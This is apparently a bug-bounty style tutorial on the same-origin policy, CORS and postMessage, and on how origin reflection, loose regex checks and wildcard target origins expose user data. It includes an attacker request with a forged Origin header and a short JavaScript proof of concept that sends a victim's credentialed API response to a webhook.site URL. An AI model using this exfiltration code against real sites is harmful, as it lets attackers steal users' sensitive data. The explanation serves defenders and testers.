cors/sop/origin
Cross origin requests, let's talk about cors, sop and origin and how these security measures can lead to vulnerabilities in your applications.
How are cross origin requests handled in the real world? Let's talk about cors, sop and origin
and how these security measures can lead to vulnerabilities in your application.
Example
How are cross origin requests handled in the real world? Applications have to talk to each other in order to exchange information. Imagine http://example.com needs to get some information from http://api.example.com/v1/getUsers, when this request is made from http://example.com
the origins are different so we have to have a way to make these requests, since usually SOP (same origin policy) would not allow it. The answer to this problem is cors
(cross origin resource sharing) which allows for communication across origins.
Same Origin Policy (SOP)
The same origin policy is a central part of browser security, it handles how resources with different origins interact with each other. An origin is said to have the same origin only if the protocol
, port
and host
match, that means that http://example.com and http://example.com/assets/css/styles.css have the same origin since the requirements are met, however https://api.example.com/getUsers does not meet the requirement and therefor requests made from http://example.com
will fail.
Same origin policy is important since when an application makes a request to a new origin all cookies, auth headers and information is passed down with the request - which means that if you allow the wrong origin a user might visit a malicious website which could steal their data.
Key Concepts
Trust
<script src='https://example.com/lib.js'></script>
- when the user agent processes the script element the script will be fetched with the same privileges as the document.
- user agents also send information to server using URIs (forms for example).
Origin
- Two URI's share the same origin when the scheme, host, and port are the same.
Authority
- Not every resource in an origin has the same authority.
- an image is passive content and has no authority, the image has no access to the objects and resources available to its origin.
- HTML documents carry the full authority of their origin, the document can access every object in its origin.
- User agents determine how much authority to grant a resource by checking its media type (ie
images
get no authority butjavascript
files get full authority of the page).
Policy
- User agents isolate different origins.
- Object Access: content retrieved from one URI can access objects associated with content retrieved from another URI if and only if the two URIs belong to the same origin.
- Generally reading information from another origin is forbidden.
- Network resources can opt-in into letting other origins read their information (cors).
- Access is granted in a per-origin basis.
Cross Origin Resource Sharing (CORS)
To be able to make requests to an application on a different origin we need to have:
- A response with the
Access-Control-Allow-Origin
header, with the origin of where the request originated from as the value. - User agent validates that the value and origin of where the request originated match.
- User agents can discover via a preflight request whether a cross-origin resource is prepared to accept requests from a given origin.
- Server-side applications are enabled to discover that an http request was deemed a cross-origin request by the user agent, through the
Origin
header.
CORS Attacks
When testing for these configuration mistakes is always important to note that if the Access-Control-Allow-Credentials
does not come back in our response but the Access-Control-Allow-Origin
still gets reflected this does not mean the endpoint is vulnerable to data exfiltration since you need to have those creds being passed in the request.
Server Side ACAO (Access-Control-Allow-Origin) Headers
- Applications might need to communicate with other services outside their own origin - in some cases the
Origin
header from a request is used to populate theAccess-Control-Allow-Origin
in the response by the server, which would allow the cross origin request, however since theOrigin
can be manipulated from the client side - in this case we could set theOrigin
to something we control:
// request with the origin we control
GET /v1/getApiKey HTTP/1.1
Host: http://example.com
Origin: http://evildomain.com
Cookie: session='...'
// response that reflects the origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://evildomain.com
Access-Control-Allow-Credentials: true
If we are able to get a response like the one above from a request we control, we can go ahead and create a PoC in a server we control, for this I have used webhook and a vps, though you could just use trustedSec's PoC since that will guarantee any private information doesn't leave your control, but the methodology of the PoCs are the same:
- Create an
XMLHttpRequest
request object(or fetch request). - Create a
listener
that fires when the page loads using.onload
, this function will exfiltrate the data to our server. - Set the the vulnerable URI and method using the
.open
method. - Set the
.withCredentials
method on the request object. - Send the request using
.send
// Create an XMLHttpRequest request object(or fetch request)
var req = new XMLHttpRequest();
// create a listener that fires when the page loads
req.onload = reqListener;
// set method and uri for the request
req.open('GET', 'http://vulnerable.com/api/getKey');
// allow credentials - this will pass cookies to our request
req.withCredentials = true;
// send our request
req.send();
// this function will execute when the page loads
function reqListener() {
location='//webhook.site/123-12.../?data='+this.responseText);
}
You can monitor your webhook.site instance and you should see the request with the responseText
and from the vulnerable site.
regex
While the above is the best case scenario for an attacker I have only found a few instances where that is the case, something that happens more often is when an application has subdomains that it needs to talk to: api.example.com , auth.example.com and example.com
need to be able to share resources, and that can be achieved by using cors
- the developer sets up some code that allows cross-origin-resource-sharing
only from subdomains in example.com
// server code
...
var origin = req.header('Origin')
var regex = /https:\/\/[a-z]+.example.com/
if (regex) {
res.header(`Allow-Access-Control: ${origin}`)
res.header('Access-Control-Allow-Credentials: true')
}
...
In the above code the origin
is checked using a regex, if the origin
would be [evildomain.com](http://evildomain.com)
the regex would fail and the if-statement
block wouldn't execute, however the regex here has a side effect in that it interprets .
as:
- The
.
metacharacter is shorthand for a character class that matches any character. It is very convenient when you want to match any char at a particular position in a string.
Which means that our regex would match [https://evildomainexample.com](https://evildomainexample.com)
and would execute the if statement, giving us control of the origin
and allowing us get user requests with possible sensitive information.
postMessage()
This is a bit different but it deals with the origin
passed to postMessage()
and it's a way to get around cors
issues when introducing communication between window (i.e iframe sending the parent window a message) that introduces some vulnerabilities as well:
- The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.
- If the application uses a wildcard origin to enable this communication, any website can send messages to this window and the messages will be allowed and ingested by the application, this can often lead to
XSS
syntax:
targetWindow.postMessage(message, targetOrigin, [transfer]);
If *
is passed as the targetOrigin
parameter this discloses the data you send to any website that sets up a listener.
A really cool example of this is @fransrosen's report on H1
's Marketo's form which used a postMessage()
function with no origin set - so it was possible to listen to data being sent to the H1
form.
Thoughts
Origin
is complex - because web applications need to communicate and share resources with other applications, this introduces ways of bypassing same-origin-policy
like cors
and postMessage
which is awesome but if misconfigured it could leave your application's users vulnerable to having possibly sensitive data stolen.
resources
https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/
https://www.corben.io/tricky-CORS/
https://hackerone.com/reports/207042
https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://www.w3.org/wiki/CORS
https://tools.ietf.org/html/rfc6454
https://medium.com/bugbountywriteup/cors-one-liner-command-exploiter-88c06903cca0